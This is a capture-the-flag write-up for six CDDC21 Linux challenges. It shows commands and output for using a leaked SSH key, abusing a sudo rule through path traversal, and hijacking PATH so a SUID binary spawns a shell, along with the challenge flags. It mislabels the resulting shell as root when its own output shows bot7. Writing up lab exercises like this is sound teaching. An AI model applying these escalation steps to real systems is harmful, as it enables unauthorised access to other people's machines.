> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2021/dsta-brainhack-cddc21/linux-rules-the-world-linux.md).

# Linux Rules the World! (Linux)

## Lock and Key

We are given a private RSA key file. We can use `ssh-keygen -p` to change the passphrase.

```
root@no:~/Downloads# chmod 600 cybot01_bot1.key 
root@no:~/Downloads# ssh-keygen -p -f cybot01_bot1.key 
Key has comment 'bot1@ip-172-31-34-218'
Enter new passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved with the new passphrase.
```

```
root@no:~/Downloads# ssh -i cybot01_bot1.key bot1@13.213.91.240
```

Once in, the flag is in the home directory.

`CDDC21{b0t_eNtR3nC3}`

## License to Run

The challenge description hinted at some malicious file that can be run. I looked for all the files that were executable by `bot2`, and found an interesting file in the home directory.

```
bot2@cybot01:/$ find / -executable -type f 2>/dev/null | grep flag
/usr/src/linux-aws-headers-5.4.0-1045/tools/perf/trace/beauty/mount_flags.sh
/usr/src/linux-aws-headers-5.4.0-1045/tools/perf/trace/beauty/move_mount_flags.sh
/usr/src/linux-aws-headers-5.4.0-1045/tools/perf/trace/beauty/mmap_flags.sh
/usr/src/linux-aws-headers-5.4.0-1045/tools/perf/trace/beauty/rename_flags.sh
/usr/src/linux-aws-5.8-headers-5.8.0-1035/tools/perf/trace/beauty/mount_flags.sh
/usr/src/linux-aws-5.8-headers-5.8.0-1035/tools/perf/trace/beauty/move_mount_flags.sh
/usr/src/linux-aws-5.8-headers-5.8.0-1035/tools/perf/trace/beauty/mmap_flags.sh
/usr/src/linux-aws-5.8-headers-5.8.0-1035/tools/perf/trace/beauty/rename_flags.sh
/home/bot2/.#flag$!!1
```

Running this file gives us the flag.

```
bot2@cybot01:~$ ./.#flag\$\!\!1 
CDDC21{TH4nKsF0R_p3RM}
```

## Historian

In the `.viminfo` file, a secret file location is revealed. The `/usr/local/share/secret` file contains the flag.

```
bot3@cybot01:~$ ls -la
total 24
dr-xr-x---  2 root bot3 4096 Jun 18 09:51 .
drwxr-xr-x 10 root bot5 4096 Jun 18 09:51 ..
lrwxrwxrwx  1 root root    9 Jun 18 09:51 .bash_history -> /dev/null
-r--r-----  1 bot3 bot3  220 Feb 25  2020 .bash_logout
-r--r-----  1 bot3 bot3 3771 Feb 25  2020 .bashrc
-r--r-----  1 bot3 bot3  807 Feb 25  2020 .profile
-rwx------  1 bot3 root  794 Jun 23 10:34 .viminfo

bot3@cybot01:~$ cat .viminfo
...

# File marks:
'0  1  15  /usr/local/share/secret
4,48,1,15,1620820231,"/usr/local/share/secret'

...

bot3@cybot01:~$ cat /usr/local/share/secret
CDDC21{V1m_th3_s4vior}
```

## Line Inspection

There is a `random-secrets` file with lots of gibberish. Grepping the `CDDC` substring gives us the flag.

```
bot4@cybot01:~$ cat random-secrets | grep CDDC
CDDC21{gRe3EpL1nG}
```

## Super

We are allowed to run `/usr/bin/cat /var/log/*` as bot6 with no password.

```
bot5@cybot01:~$ sudo -l
Matching Defaults entries for bot5 on cybot01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bot5 may run the following commands on cybot01:
    (bot6 : bot6) NOPASSWD: /usr/bin/cat /var/log/*
```

We can use path traversal to get the flag:

```
bot5@cybot01:~$ sudo -u bot6 cat /var/log/../../../home/bot5/flag.txt
CDDC21{b3w4r3sud03rz}
```

## Path to Win

There is a `systeminfo` binary in the home directory.

```
bot6@cybot01:~$ ls -la
total 44
dr-xr-x---  2 root bot6  4096 Jun 18 09:51 .
drwxr-xr-x 10 root bot5  4096 Jun 18 09:51 ..
lrwxrwxrwx  1 root root     9 Jun 18 09:51 .bash_history -> /dev/null
-r--r-----  1 bot6 bot6   220 Feb 25  2020 .bash_logout
-r--r-----  1 bot6 bot6  3771 Feb 25  2020 .bashrc
-r--r-----  1 bot6 bot6   807 Feb 25  2020 .profile
-r--------  1 bot7 root    31 Jun 18 09:51 flag.txt
-r-sr-xr-x  1 bot7 root 17008 Jun 18 09:51 systeminfo
```

Running it gives the following output.

```
bot6@cybot01:~$ ./systeminfo
System information...

[*] Date:
Wed Jun 23 15:06:18 UTC 2021

[*] Kernel:
5.8.0-1035-aws

[*] User infomation:
uid=1007(bot7) gid=1006(bot6) groups=1006(bot6),1005(bot5)
```

We can deduce that the `systeminfo` binary calls `id`. Note that since `systeminfo` has SUID permissions, it runs as `bot7`. If the `id` call does not use an absolute path, then we can perform PATH variable manipulation to force the execution of our custom payload.

This time, running `systeminfo` gives us a shell as root.

```
bot6@cybot01:~$ cd /tmp
bot6@cybot01:/tmp$ echo /bin/sh > id
bot6@cybot01:/tmp$ chmod 777 id
bot6@cybot01:/tmp$ export PATH=/tmp:$PATH
bot6@cybot01:/tmp$ /home/bot6/systeminfo
System information...

[*] Date:
Wed Jun 23 15:07:48 UTC 2021

[*] Kernel:
5.8.0-1035-aws

[*] User infomation:
$ pwd
/tmp
$ cd /home/bot6
$ cat flag.txt
CDDC21{SU!d_!s_Qu!Te_DngeRouS}
```